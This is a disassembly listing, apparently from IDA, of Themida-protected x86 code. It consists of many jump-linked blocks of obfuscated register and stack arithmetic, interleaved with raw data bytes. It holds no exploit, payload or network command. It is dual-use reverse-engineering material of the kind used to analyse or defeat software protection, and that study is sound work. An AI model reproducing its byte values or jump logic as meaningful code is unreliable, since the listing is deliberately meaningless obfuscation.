loc_551290:				; CODE XREF: Themida_:0054FDFBj
		pop	esp
		jmp	loc_54B89D
; ---------------------------------------------------------------------------
		dw 84BAh
		dd 812DEA42h, 0AE6C12E2h, 0D2F74203h, 0BAE9DAF7h, 55FFFFC7h
		dd 16ADBE56h, 67BD2945h, 29A4AB6Ah, 0F5815EF5h,	66144360h
		dd 0C104EDC1h, 0ED8106E5h, 72042BD3h, 5039C581h, 4AE977A3h
		dd 81FFFF49h, 63843C1h,	17BA5256h, 0C14ADC22h, 0EAC105EAh
		dd 2E2C108h, 0E906E2C1h, 0FFFF4EC7h, 68h, 95685100h, 8B5ED90Fh
		dd 0C483240Ch, 244C0104h, 1C295904h, 95685124h,	8B5ED90Fh
		dd 0E952240Ch, 18DEh, 0B3536304h, 5BD82872h, 7204F828h
		dd 5366632Ch, 3666E9h
		db 0
; ---------------------------------------------------------------------------


loc_551331:				; CODE XREF: Themida_:00547C17j
		and	ecx, 633A15D3h
		add	ecx, 0D3F3C5CFh
		sub	edi, ecx
		jmp	loc_549E07
; ---------------------------------------------------------------------------
		dd 4C381h, 0BCE90000h
		db 0AEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55134F:				; CODE XREF: Themida_:0054448Ej
		dec	esi
		jmp	loc_55200B
; ---------------------------------------------------------------------------
		db 81h,	0EFh, 0D3h
		dd 0FF169864h, 43E92434h, 0D1FFFF4Dh, 0FDC681EEh, 8946DD0Fh
		dd 24348BF2h, 4C481h, 0EB810000h, 70D05C87h, 0FFF5FAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_551381:				; CODE XREF: Themida_:005499FDj
		add	esp, 4
		jmp	loc_54B33B
; ---------------------------------------------------------------------------


loc_55138C:				; CODE XREF: Themida_:0055391Dj
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ecx
		pop	ebx
		pop	ecx
		add	ebx, 0FFFFFFFFh
		sub	ebx, 0EE9C5F1Bh
		add	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		xor	edx, 1FAEDC78h
		sub	edx, 192120C5h
		push	ebx
		jmp	loc_54700B
; ---------------------------------------------------------------------------


loc_5513BB:				; CODE XREF: Themida_:005528C3j
		mov	[esp], ebx
		sub	dword ptr [esp], 1D4B4B9Dh
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_546E7C
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0F18105E1h, 82001004h, 5159CB01h, 0AF3E4DB9h, 0EC18145h
		dd 0E950A440h, 0FFFF7DECh, 5C241487h, 83243489h, 1C8904ECh
		dd 17D3BB24h, 5E5374C5h, 81241C8Bh, 4C4h, 0FFF73100h, 835E2434h
		dd 0E95104C4h, 1230h, 0A604EBAh, 0B8F28104h, 17D7E72h
		dd 0C7815AD7h, 0D785C2B0h, 3EA6E981h, 0F929018Eh, 0FF7228E9h
		dd 1C0BBBFFh, 0D9211511h, 0FFC1815Bh, 8102087Bh, 0AD8E58F1h
		dd 0E9CB2941h, 60ADh, 0E9242C89h, 0FFFF625Eh
; ---------------------------------------------------------------------------


loc_551460:				; CODE XREF: Themida_:0054A562j
		pop	ebx
		add	edi, 0B7D434Ah
		add	edi, ecx
		jmp	loc_548AFF
; ---------------------------------------------------------------------------


loc_55146E:				; CODE XREF: Themida_:005523E9j
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		sar	dword ptr [esp], cl
		pushf
		jmp	loc_54270C
; ---------------------------------------------------------------------------
		db 0C1h, 0EAh, 8
		dd 156BF281h, 0D0092070h, 0FF3BE2E9h, 0A1EE81FFh, 0E907C440h
		dd 0FFFFAE9Fh, 0C4E9D601h, 68FFFF93h, 59F7h, 116EE9h, 241C8B00h
		dd 0FFA24EE9h, 77BE56FFh, 0E91E387Dh, 47Ah, 9ABB5350h
		dd 890C332Bh, 83405BD8h, 0BB53FFE8h, 6CEA2F4Ah,	1C8BD831h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_5550CC
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 4
		dd 81000000h, 4EAh, 2197E900h, 4B90000h, 1000000h, 0BD5559C8h
		dd 4, 9F8E9h, 70E95D00h
		db 0A7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55150B:				; CODE XREF: Themida_:0054F0A2j
		add	ebp, 0D9D5563h
		not	ebp
		push	4ABh
		mov	[esp], esi
		mov	esi, 3FE761D0h
		jmp	loc_54EB0B
; ---------------------------------------------------------------------------
		db 2Ch,	0FEh, 0E9h
		dd 0FFFF903Bh, 592434FFh, 39FD68h, 24348900h, 0FF2B1BE9h
		dd 0E90D2CFFh, 0FFFF5107h
; ---------------------------------------------------------------------------


loc_551544:				; CODE XREF: Themida_:0054B2B1j
		pop	edx
		jmp	loc_555437
; ---------------------------------------------------------------------------


loc_55154A:				; CODE XREF: Themida_:00542D63j
		sub	dword ptr [esp], 14FC3293h
		pop	ecx
		jmp	loc_556D63
; ---------------------------------------------------------------------------
		db 89h
		dd 2CE9241Ch, 1FFFF8Bh,	8B04246Ch, 8953242Ch, 4C381E3h
		dd 0E9000000h, 0FFFF9410h
; ---------------------------------------------------------------------------


loc_551574:				; CODE XREF: Themida_:00553F6Dj
		xor	ebp, 0C33DE35Fh
		or	edi, ebp
		mov	ebp, [esp]
		jmp	loc_55632F
; ---------------------------------------------------------------------------
		dd 0C15BD829h, 0CC2D07E8h, 407A8950h, 0FB38B205h, 6844350Ch
		dd 0C131BDEDh, 8324048Bh, 1AE904C4h, 68000036h,	5905h
		dd 53241489h, 25D4168h,	0C3815B06h, 35B7194h, 0F3814343h
		dd 95DCED3h, 0E95BDA89h, 0FFFF7EA1h
; ---------------------------------------------------------------------------


loc_5515CC:				; CODE XREF: Themida_:0055327Fj
		add	edx, eax
		push	5286h
		mov	[esp], esi
		mov	esi, 3EEB755Dh
		sub	edx, esi
		pop	esi
		push	edi
		mov	edi, 5C5A100Ah
		xor	edi, 1744024Ah
		jmp	loc_54EB59
; ---------------------------------------------------------------------------


loc_5515EF:				; CODE XREF: Themida_:00550FBCj
		pop	esp
		mov	[esp], esi
		jmp	loc_54EEA0
; ---------------------------------------------------------------------------
		dd 75C6C281h, 0E9504B87h, 4DFDh, 565FFE01h, 42474FFh, 47B9E95Eh
		dd 3C87FFFFh, 0C3015C24h, 7B9EC381h, 0E95811C6h, 0FFFF8E1Ch
		dd 352768h, 243C8900h, 0FC795FBFh, 0D3B95130h, 179BA4Eh
		dd 0EA8159CAh, 4E1D611Dh, 0C281FA01h, 4E1D611Dh, 4ED3EA81h
		dd 575F79BAh, 152D65BFh, 0C1F8E96Ch, 0CB6FFFFh,	28B6C680h
		dd 0CBFE5AF3h, 0EB80DBF6h, 5BD8280Ch, 592434FFh, 4C481h
		dd 0BEE90000h, 5FFFFF2Bh, 0E95EF101h, 0FFFF864Ch, 31241433h
		dd 14332414h, 24248B24h, 0E99CC138h, 0FFFF43DEh, 0E95EF329h
		dd 579Fh
; ---------------------------------------------------------------------------


loc_5516A0:				; CODE XREF: Themida_:00547279j
		add	ebp, edi
		pop	edi
		jmp	loc_547053
; ---------------------------------------------------------------------------
		dd 8B24248Bh, 0FB682404h, 0E9000016h, 0FFFFA58Ah
; ---------------------------------------------------------------------------


loc_5516B8:				; CODE XREF: Themida_:005505E6j
		push	edi
		mov	edi, 721F44DBh
		mov	ebp, 0B813FEC7h
		jmp	loc_54B7BC
; ---------------------------------------------------------------------------
		dd 4C28359h, 2474FF52h,	48F5A04h, 348B5C24h, 4C48324h
		dd 8B240C87h, 8B662424h, 0C3682414h, 89000065h,	0EC832434h
		dd 18E95404h, 8100000Ch, 0A1B6FDEEh, 27CFE956h,	6C29FFFFh
		dd 2C8B0424h, 4C48124h,	81000000h, 0ED32404h, 4297C40h
		dd 242C8124h, 7C400ED3h, 398DE9h
		db 0
; ---------------------------------------------------------------------------


loc_551725:				; CODE XREF: Themida_:00551D5Fj
		push	5E6Dh
		mov	[esp], ecx
		jmp	loc_555A8D
; ---------------------------------------------------------------------------


loc_551732:				; CODE XREF: Themida_:0054B367j
		sub	esp, 4
		mov	[esp], eax
		add	dword ptr [esp], 3F1F0897h
		mov	ecx, [esp]
		add	esp, 4
		sub	ecx, 3F1F0897h
		mov	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		mov	eax, [esp]
		jmp	loc_5518D8
; ---------------------------------------------------------------------------
		dw 0C729h
		dd 2EFC158h, 68h, 68565500h, 555C306Dh,	0FFDAF1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_551775:				; CODE XREF: Themida_:00546EB3j
		push	1EE8h
		mov	[esp], esi
		mov	esi, 463F3081h
		not	esi
		add	esi, 1AB61E77h
		push	ecx
		mov	ecx, 54355AFEh
		xor	esi, ecx
		pop	ecx
		add	esi, 7FBC48F9h
		add	ebx, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	ebx
		push	1AEh
		mov	[esp], ebp
		jmp	loc_54E902
; ---------------------------------------------------------------------------


loc_5517B9:				; CODE XREF: Themida_:00546A9Dj
		or	eax, 667E6992h
		jmp	loc_54C023
; ---------------------------------------------------------------------------


loc_5517C3:				; CODE XREF: Themida_:00557556j
		add	ecx, ebx
		jmp	loc_54C3DE
; ---------------------------------------------------------------------------
		dw 0C5BAh
		dd 2925269Dh, 0C2815FFAh, 1, 6560B850h,	3D353063h, 0E92EF80Bh
		dd 0FFFFF906h, 0C381E389h, 4, 8BA5251h,	50396C41h, 0B431A368h
		dd 103DE917h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_551802:				; CODE XREF: Themida_:00554767j
		xchg	eax, ebx
		push	ebx
		xchg	edi, [esp]
		not	edi
		push	edi
		jmp	loc_550A93
; ---------------------------------------------------------------------------


loc_55180F:				; CODE XREF: Themida_:0054CC51j
		pop	ebx
		push	ecx
		mov	ecx, 4
		add	ebx, ecx
		pop	ecx
		sub	ebx, 4
		jmp	loc_5455E2
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 0AEh
		dd 13F9254h, 2434FFCEh,	4C48359h, 390DE951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551836:				; CODE XREF: Themida_:00557581j
		pop	ebp
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		push	3B86h
		mov	[esp], edx
		jmp	loc_542BD2
; ---------------------------------------------------------------------------
		dd 4EC835Ah, 0BE243489h, 0C9F7BE9h, 8101EE83h, 0E15052EEh
		dd 5EF029E7h, 0E953D801h, 0FFFF461Ch, 31241433h, 14332414h
		dd 0B8E95C24h
		db 4Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55187F:				; CODE XREF: Themida_:00549BDBj
		mov	dl, 5Ah
		shr	dl, 1
		add	dl, 0F3h
		mov	cl, dl
		pop	edx
		or	cl, 0F0h
		sub	cl, 3Ch
		jmp	loc_54B88D
; ---------------------------------------------------------------------------
		dd 0A73B270Dh, 26910D63h, 9050D28h, 577C971h, 28537479h
		dd 248E9h, 0D3015E00h, 3F3CC381h, 64E9404Ch, 8900002Ch
		dd 6852241Ch, 46211BBDh, 0E924148Bh, 0FFFF56B3h, 0D6ED815Fh
		dd 0E9068041h, 0FFFF621Dh
; ---------------------------------------------------------------------------


loc_5518D8:				; CODE XREF: Themida_:00551759j
		add	esp, 4
		sub	ebp, 60D904D6h
		jmp	loc_547BA0
; ---------------------------------------------------------------------------


loc_5518E6:				; CODE XREF: Themida_:005509B5j
		sub	esp, 4
		mov	[esp], edx
		push	edi
		push	10D04710h
		pop	edi
		inc	edi
		sub	edi, 992E1BC0h
		push	ebp
		mov	ebp, edi
		mov	edx, ebp
		pop	ebp
		pop	edi
		push	eax
		push	887DD4AFh
		mov	eax, [esp]
		push	eax
		push	esp
		jmp	loc_55335F
; ---------------------------------------------------------------------------


loc_551914:				; CODE XREF: Themida_:0055268Aj
		pop	ecx
		mov	edi, ebx
		pop	ebx
		jmp	loc_54FAB6
; ---------------------------------------------------------------------------
		db 31h,	74h, 24h
		dd 77E95E04h, 53FFFF94h, 0FF1036E9h, 83FF04FFh,	1C8904ECh
		dd 5014E924h, 7429FFFFh, 0E95E0824h, 1E94h
; ---------------------------------------------------------------------------


loc_551944:				; CODE XREF: Themida_:0054E612j
		xchg	edx, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 0D5D2F004h
		add	ebp, eax
		pop	eax
		push	ebp
		sub	dword ptr [esp], 3C940361h
		pop	ebx
		add	ebx, 3C940361h
		pop	ebp
		and	ecx, ebx
		mov	ebx, [esp]
		jmp	loc_5527B4
; ---------------------------------------------------------------------------


loc_55196D:				; CODE XREF: Themida_:00553E71j
		push	esp
		pop	eax
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5568D1
; ---------------------------------------------------------------------------


loc_55198F:				; CODE XREF: Themida_:0054E741j
		add	esi, 4
		push	eax
		mov	eax, 4
		add	esi, 7FE37045h
		jmp	loc_54EF0D
; ---------------------------------------------------------------------------


loc_5519A6:				; CODE XREF: Themida_:00549E4Bj
		xchg	ecx, [esp]
		pop	esp


loc_5519AA:				; CODE XREF: Themida_:00546A6Aj
		push	edx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_547A7A
; ---------------------------------------------------------------------------
		dd 285C70BAh, 0CA814A22h, 29796AD1h, 7635F281h,	0E2C170CBh
		dd 2CF28102h, 0E96EC823h, 0FFFF4CBCh, 8BBA52ADh, 2D5DF141h
		dd 228D4B2Eh, 0B951D029h, 6A2E7B4Fh, 37EBC981h,	0E9814E74h
		dd 0D4841DAh, 8104E1C1h, 2969DEC1h, 7878E90Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551A16:				; CODE XREF: Themida_:0054B7BEj
		pop	edi
		add	ebp, 0DD742D36h
		jmp	loc_54CF98
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 318A58FAh, 20C3C781h, 1580DE5h, 93BB53CFh, 81543A4Bh
		dd 0F540FAF3h, 46CB8136h, 0F7513B24h, 0E6F381D3h, 812FD53Ah
		dd 211871C3h, 5BDF0179h, 243C3359h, 33243C31h, 248B243Ch
		dd 7BDAE924h, 0F001FFFFh, 0FF38A4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_551A6D:				; CODE XREF: Themida_:0054ADE1j
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		mov	dword ptr [edx+30h], 1C547412h
		xor	[edx+30h], ebx
		jmp	loc_544A65
; ---------------------------------------------------------------------------
		dw 148Bh
		dd 4C48324h, 4EC81h, 4890000h, 1172E924h, 0F381FFFFh, 18D03EA2h
		dd 6C69EB81h, 16E9192Ch
		db 98h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551AAB:				; CODE XREF: Themida_:00544F75j
		pop	edi
		pop	ebp
		jmp	loc_553642
; ---------------------------------------------------------------------------


loc_551AB2:				; CODE XREF: Themida_:00544998j
		mov	esi, 667156FCh
		xor	edi, esi
		pop	esi
		push	edi
		sub	dword ptr [esp], 3B8F697Bh
		pop	edx
		add	edx, 3B8F697Bh
		mov	edi, [esp]
		add	esp, 4
		sub	edi, 6E32362Ch
		sub	edi, 7870AA5h
		add	edi, edx
		add	edi, 7870AA5h
		add	edi, 6E32362Ch
		pop	edx
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_556609
; ---------------------------------------------------------------------------
		db 56h,	89h, 0C6h
		dd 34FFF189h, 0C4835E24h, 8E95804h
		db 0ACh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551B07:				; CODE XREF: Themida_:00543F9Ej
		add	esp, 4
		push	3DCAh
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_54F15F
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0BB241C89h, 2, 3848ED81h,	0C5814505h, 43E10110h
		dd 0FF83F8E9h, 242C8BFFh, 0E904C483h, 0FFFF96A3h, 81242489h
		dd 42404h, 565B0000h, 4BEh, 4775E900h, 815E0000h, 457A7BE9h
		dd 0BABE560Ah, 110C4F6h, 24348BF1h, 0FF4CFBE9h,	243C89FFh
		dd 53176BBFh, 5FFE2955h, 515EF301h, 0FF4AF1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_551B95:				; CODE XREF: Themida_:005432B9j
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_556B2D
; ---------------------------------------------------------------------------


loc_551B9E:				; CODE XREF: Themida_:0055485Bj
		or	eax, esi
		pop	esi
		shl	eax, 1
		push	edx
		jmp	loc_54D610
; ---------------------------------------------------------------------------
		db 81h,	0F6h, 3Ch
		dd 89570551h, 24348BF1h, 4C481h, 0D9010000h, 0FF590103h
		dd 1C8B2434h, 1C02E924h, 0D0F7FFFFh, 0FF5399E9h, 0FFD001FFh
		dd 34FF2434h, 0C4835A24h, 4C48104h, 0E9000000h,	0FFFFCC1Ah
		dd 815FFA29h, 351436F2h, 1C2815Ah, 0C1000000h, 0B95105EAh
		dd 8C714D1h, 0F948E981h, 0F6E9C11Fh
		db 49h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_551C0B:				; CODE XREF: Themida_:0054BE4Aj
		pop	esp
		mov	[esp], eax
		jmp	loc_54A1F2
; ---------------------------------------------------------------------------
		dd 88EC8850h, 7D06E9E2h, 0C481FFFFh, 4,	0D800262Ch, 5038B753h
		dd 0D5E925B0h, 0FFFFFF54h, 815F2434h, 4C4h, 4EC8100h, 89000000h
		dd 0B7BD242Ch, 81494115h, 9D7BC3F5h, 0CA01E949h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551C56:				; CODE XREF: Themida_:00551076j
		mov	bh, 51h
		add	dh, bh
		pop	bx
		xor	dh, 47h
		jmp	loc_5470E0
; ---------------------------------------------------------------------------
		dd 5F41E581h, 0D5F71E96h, 0D16DF581h, 5555BD10h, 0EE1607BDh
		dd 6BD556Eh, 12C5F69h, 5D08246Ch, 4246C29h, 4246C81h, 2C5F6906h
		dd 0ECE95B5Dh
		db 66h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551C97:				; CODE XREF: Themida_:00546C71j
		push	small 5854h
		mov	[esp], ax
		jmp	loc_544407
; ---------------------------------------------------------------------------
		dd 0FE04C483h, 0FFB252C1h, 0E95AD128h, 0FFFF9535h, 0C58001B0h
		dd 80C52858h, 48B58EDh,	0E6895624h, 4C681h, 0C6830000h
		dd 24348704h, 4810E95Ch, 0F888FFFFh, 24148B5Bh,	8804C483h
		dd 885358C2h, 0E9FD88D7h, 0FFFFBACBh, 348BF329h, 0A076824h
		dd 0FFE90000h, 0ADFFFF40h, 2E228E05h, 1C30E95Eh, 5068FFFFh
		dd 5E0F192Bh, 72BD5550h, 0B8574B68h, 79C35F3Dh,	6EE9E831h
		db 0A5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551D1F:				; CODE XREF: Themida_:00545CDAj
		pop	eax
		sub	esp, 4
		jmp	loc_547F6A
; ---------------------------------------------------------------------------
		db 89h
		dd 4C181E1h, 0E9000000h, 49B1h
; ---------------------------------------------------------------------------


loc_551D38:				; CODE XREF: Themida_:00548AEFj
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ebp
		push	eax
		mov	eax, 39FA7A89h
		add	eax, 0EEB0C131h
		mov	ebp, eax
		pop	eax
		add	ebx, ebp
		pop	ebp
		add	ebx, eax
		jmp	loc_551725
; ---------------------------------------------------------------------------
		dd 38A0C681h, 0C601618Bh, 38A0EE81h, 48B618Bh, 4C48324h
		dd 5C243487h, 24048B66h, 4EC81h, 14890000h, 0CD2E924h
		dd 0F758FFFFh, 0A100E9D0h, 0C89FFFFh, 2434FF24h, 8324348Bh
		dd 87E904C4h, 66000038h, 5224048Bh, 110FE9h, 4EC8300h
		dd 0B1240C89h, 5051533Fh, 0E58800B4h, 8324048Bh, 0E5C004C4h
		dd 0F6CDFE05h, 0C94EE9D5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551DD2:				; CODE XREF: Themida_:0054B9BDj
		dec	eax
		shl	eax, 3
		jmp	loc_544CB1
; ---------------------------------------------------------------------------


loc_551DDB:				; CODE XREF: Themida_:0054C434j
		xor	edi, [esp]
		jmp	loc_55450B
; ---------------------------------------------------------------------------
		db 83h
		dd 8B6604C4h, 54522414h, 0E924148Bh, 0FFFF9659h
; ---------------------------------------------------------------------------


loc_551DF4:				; CODE XREF: Themida_:0054D3C6j
		xor	edx, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		shl	edx, 2
		xor	edx, 0D1FD6A74h
		jmp	loc_552B8F
; ---------------------------------------------------------------------------
		db 81h
		dd 4C2h, 4EA8300h, 5C241487h, 0FFC08CE9h, 28CEB5FFh, 3CACE9E8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551E26:				; CODE XREF: Themida_:0054B91Dj
		sub	edx, 39FB5FD9h
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5521A3
; ---------------------------------------------------------------------------
		dw 3487h
		dd 0C895C24h, 5560B924h, 7FE9554Dh, 58FFFF5Eh, 82B4E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551E52:				; CODE XREF: Themida_:0055424Dj
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_549187
; ---------------------------------------------------------------------------


loc_551E60:				; CODE XREF: Themida_:00544650j
		and	eax, ecx
		pop	ecx
		or	edx, eax
		shl	edx, 1
		push	dword ptr [edi+24h]
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_542897
; ---------------------------------------------------------------------------


loc_551E7E:				; CODE XREF: Themida_:0054A79Cj
		mov	[esp], eax
		mov	eax, 4
		add	edx, eax
		jmp	loc_544E54
; ---------------------------------------------------------------------------


loc_551E8D:				; CODE XREF: Themida_:00552A14j
		mov	ebx, 4
		sub	dword ptr [esp+4], 5A4B59A8h
		add	[esp+4], ebx
		jmp	loc_54AA18
; ---------------------------------------------------------------------------


loc_551EA3:				; CODE XREF: Themida_:005481DCj
		pop	edi
		add	ebx, 466609C6h
		jmp	loc_54CFDD
; ---------------------------------------------------------------------------
		db 31h
		dd 3AB9E9F3h, 0B850FFFFh, 0A2A59AD8h, 0E958C601h, 0FFFFB538h
; ---------------------------------------------------------------------------


loc_551EC4:				; CODE XREF: Themida_:005565A5j
		sub	eax, 71886069h
		sub	eax, 2FB15683h
		add	eax, ebx
		push	ebx
		mov	ebx, 3EE44DD2h
		jmp	loc_54B504
; ---------------------------------------------------------------------------
aPsS		db 'Pé|S',0
		db 0
; ---------------------------------------------------------------------------


loc_551EE1:				; CODE XREF: Themida_:00556B30j
		push	edx
		jmp	loc_554A90
; ---------------------------------------------------------------------------


loc_551EE7:				; CODE XREF: Themida_:00553437j
		shr	esi, 5
		push	ebp
		mov	ebp, 0D5BB272Ch
		jmp	loc_5460E7
; ---------------------------------------------------------------------------
		db 0C1h, 0EEh, 7
		dd 0FF22AAE9h, 5DE829FFh, 5C240487h, 89242C89h,	0DEE950E5h
		dd 0F6FFFF88h, 2B5CE9DDh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_551F16:				; CODE XREF: Themida_:0054A43Bj
		xor	edi, 0E0533C9h
		xor	edi, 2B5C2E1Fh
		jmp	loc_549572
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0EC83C9FEh, 24048904h, 53FDB252h, 0FFEBB6E9h, 0E2685EFFh
		dd 8900000Ah, 0DFB9240Ch, 31796072h, 0F78959CEh, 0E9F9295Eh
		dd 0FFFF586Ch, 4E2076BAh, 5DEA312Fh, 1B1CE9h, 26EB8100h
		dd 507EF96Bh, 4C2B1DB8h, 58C30101h, 0BF57EB01h,	5DF43BE4h
		dd 0FFD4D8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_551F7D:				; CODE XREF: Themida_:0054EA34j
		mov	ecx, [esp]
		add	esp, 4
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		shr	eax, 12h
		xor	eax, ecx
		xor	eax, ecx
		xor	ecx, eax
		jmp	loc_54A64B
; ---------------------------------------------------------------------------


loc_551FA1:				; CODE XREF: Themida_:0054F712j
		neg	edx
		not	edx
		shr	edx, 3
		shl	edx, 6
		add	edx, 8F02FDFFh
		jmp	loc_55664E
; ---------------------------------------------------------------------------
		dw 0D835h
		dd 0E9181270h, 4769h, 667D2C5Bh, 0ABB151h, 0C8B66C8h, 2C48324h
		dd 0E952772Ch, 0FFFF63D4h
; ---------------------------------------------------------------------------


loc_551FD8:				; CODE XREF: Themida_:0054EB90j
		mov	ecx, 0D41F6808h
		add	edi, ecx
		pop	ecx
		add	edx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_54270C
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 48F5D04h, 24248B24h,	277B68h, 241C8900h, 30D8ABBh, 0D0E95258h
		db 1Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55200B:				; CODE XREF: Themida_:00551350j
		push	ebx
		jmp	loc_552070
; ---------------------------------------------------------------------------
		db 53h,	68h, 0CAh
		dd 5B115B1Dh, 8102E3C1h, 6C772CF3h, 5BDF8945h, 0FFC304E9h
		dd 56E389FFh, 0D40292BEh, 7E68E926h, 0C781FFFFh, 4, 4EC81h
		dd 0C890000h, 2B924h, 0B8500000h, 1CF702E7h, 20C3EF81h
		dd 0EAE90DE5h, 54FFFF37h, 5524348Bh, 0BEDFE954h, 34FFFFFFh
		dd 0E9505824h, 400Eh
; ---------------------------------------------------------------------------


loc_552070:				; CODE XREF: Themida_:0055200Cj
		mov	ebx, 62536373h
		or	esi, ebx
		pop	ebx
		xor	esi, 3B88A1F7h
		sub	eax, esi
		pop	esi
		and	eax, 0ADF29D3h
		jmp	loc_54871C
; ---------------------------------------------------------------------------
		db 66h
		dd 83240C8Bh, 48904ECh,	83E08924h, 348904ECh, 8E76824h
		dd 14890000h, 6C15BA24h, 71BE5B66h, 8100EC02h, 0D01349C6h
		dd 81D6015Bh, 0D01349EEh, 0EE815A5Bh, 1, 0A0685357h, 0E931135Dh
		dd 0FFFF44FFh, 74E9DF89h, 31FFFF6Dh, 0C12959C8h, 8B018958h
		dd 8950240Ch, 903EE9E0h, 0BD55FFFFh, 4,	0E95DEE01h, 0FFFF7394h
; ---------------------------------------------------------------------------


loc_5520F8:				; CODE XREF: Themida_:005540DDj
		mov	ebp, [esp]
		add	esp, 4
		xor	esi, eax
		mov	eax, [esp]
		jmp	loc_54E13D
; ---------------------------------------------------------------------------


loc_55210B:				; CODE XREF: Themida_:00547F06j
		add	eax, 4
		push	ebp
		jmp	loc_546CA8
; ---------------------------------------------------------------------------


loc_552116:				; CODE XREF: Themida_:005570C5j
		xor	ebx, 0D255A8C3h
		mov	eax, 7FF238AEh
		add	eax, ebx
		pop	ebx
		add	edi, eax
		pop	eax
		add	ebx, edi
		pop	edi
		sub	esp, 4
		jmp	loc_54BFCF
; ---------------------------------------------------------------------------
		db 29h,	0C2h, 81h
		dd 95356AEAh, 57555748h, 0A950A0BFh, 5FFD8933h,	4D5ADCBFh
		dd 5DEF2941h, 585FFA01h, 5EE9D001h, 0BF00004Ah,	65367D87h
		dd 0EF81D7F7h, 5CF16151h, 815FFA09h, 4D351CCAh,	0D1C28162h
		dd 811B235Ah, 375FE1E9h, 81D10102h, 375FE1C1h, 0C714E902h
		dd 2D59FFFFh, 518E68DAh, 0DA05D829h, 0E9518E68h, 0FFFF8CA6h
		dd 0D4E95A66h
		db 10h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5521A3:				; CODE XREF: Themida_:00551E35j
		add	edx, edi
		sub	edx, 5EF711F1h
		add	dword ptr [edx], 1
		jmp	loc_54F2F7
; ---------------------------------------------------------------------------


loc_5521B6:				; CODE XREF: Themida_:0054E555j
		push	ebx
		mov	ebx, 76EE2FFBh
		add	ebx, 6E611D5Ch
		xor	ebx, 41F4F522h
		add	edx, ebx
		pop	ebx
		and	eax, edx
		mov	edx, [esp]
		sub	esp, 4
		mov	[esp], ecx
		push	esp
		pop	ecx
		push	6B8Eh
		jmp	loc_550729
; ---------------------------------------------------------------------------


loc_5521E5:				; CODE XREF: Themida_:0054BE1Aj
		add	edx, edi
		pop	edi
		push	ebp
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		push	edx
		jmp	loc_54A116
; ---------------------------------------------------------------------------


loc_5521F7:				; CODE XREF: Themida_:00555D28j
		mov	[esp], cx
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_5500EB
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 0C0B95100h, 506BDF34h,	734EA0B8h, 58C10966h, 0A25BE949h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55222E:				; CODE XREF: Themida_:0054EB54j
		add	edx, 2DC22AC2h
		add	edx, eax
		sub	edx, 2DC22AC2h
		pop	eax
		add	edx, 3E122E9Ch
		push	edi
		mov	edi, 6A8A585Eh
		add	edx, edi
		jmp	loc_54B6D3
; ---------------------------------------------------------------------------
